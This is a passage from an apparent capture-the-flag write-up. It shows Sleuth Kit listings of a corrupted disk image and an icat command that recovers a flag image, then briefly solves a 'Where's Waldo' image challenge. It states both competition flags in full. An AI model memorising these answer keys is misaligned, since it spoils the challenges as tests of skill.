45-128-1: Screenshot (15).png + r/r 46-128-1: Screenshot (2).png + r/r 47-128-1: Screenshot (23).png + r/r 48-128-1: Screenshot (3).png d/d 36-144-1: System Volume Information + r/r 38-128-1: IndexerVolumeGuid + r/r 37-128-1: WPSettings.dat r/r 50-128-1: test.txt V/V 256: $OrphanFiles
Capture (1).PNG
contained the flag.
$ icat Corrupted.001.fix 40-128-1 > Capture1.png
crew{34sY_C0rrupt3D_GPT}
misc
Where's Waldo
57 solves
Careful observation revealed that there were the same images. The challenge description implied that the flag file was only one. I looked for only one image and the filename of it was the flag (what's intended in this chall..?).
crew{887b7d982a3a8d472b29850c}